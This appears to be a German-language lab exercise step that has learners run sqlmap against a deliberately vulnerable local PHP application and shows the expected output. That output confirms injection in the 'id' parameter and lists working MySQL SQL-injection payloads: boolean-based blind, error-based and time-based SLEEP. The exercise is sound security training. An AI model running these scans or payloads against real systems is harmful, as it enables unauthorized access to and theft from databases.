Erfolgreiche Injection auf einem Ziel etablieren
In diesem Schritt verwenden Sie sqlmap, um eine Webanwendung zu scannen und zu bestätigen, dass sie anfällig für SQL-Injection ist. Unser Setup-Skript hat bereits eine einfache, anfällige PHP-Anwendung auf dem lokalen Apache-Server erstellt. Wir müssen sqlmap auf die Ziel-URL verweisen und es die anfängliche Analyse durchführen lassen.
Führen Sie zuerst den folgenden sqlmap-Befehl in Ihrem Terminal aus. Wir verwenden das Flag -u, um die Ziel-URL anzugeben, und --batch, um im nicht-interaktiven Modus zu laufen und alle Standardantworten zu akzeptieren.
sqlmap -u "http://127.0.0.1/index.php?id=1" --batch
sqlmap wird eine Reihe von Tests durchführen. Warten Sie, bis es abgeschlossen ist. Die Ausgabe zeigt, dass der GET-Parameter id anfällig ist. Diese Bestätigung ist der notwendige erste Schritt, bevor wir mit der Ausnutzung fortfahren können.
Sie sollten eine Ausgabe sehen, die der folgenden ähnelt und die Anfälligkeit bestätigt:
---
Parameter: id (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=1 AND 1421=1421
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
Payload: id=1 AND (SELECT 2*(IF((SELECT * FROM (SELECT CONCAT(0x71627a7671,(SELECT (ELT(2521=2521,1))),0x71787a7171,0x78))s), 8446744073709551610, 8446744073709551610)))
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: id=1 AND (SELECT 2112 FROM (SELECT(SLEEP(5)))mrzs)
---
[15:30:00] [INFO] das Back-End DBMS ist MySQL
Betriebssystem des Webservers: Linux Ubuntu
Technologie der Webanwendung: Apache 2.4.52, PHP 8.1.2
Back-End DBMS: MySQL >= 5.0
[15:30:00] [INFO] abgerufene Daten werden in Textdateien unter '/home/labex/.local/share/sqlmap/output/127.0.0.1' protokolliert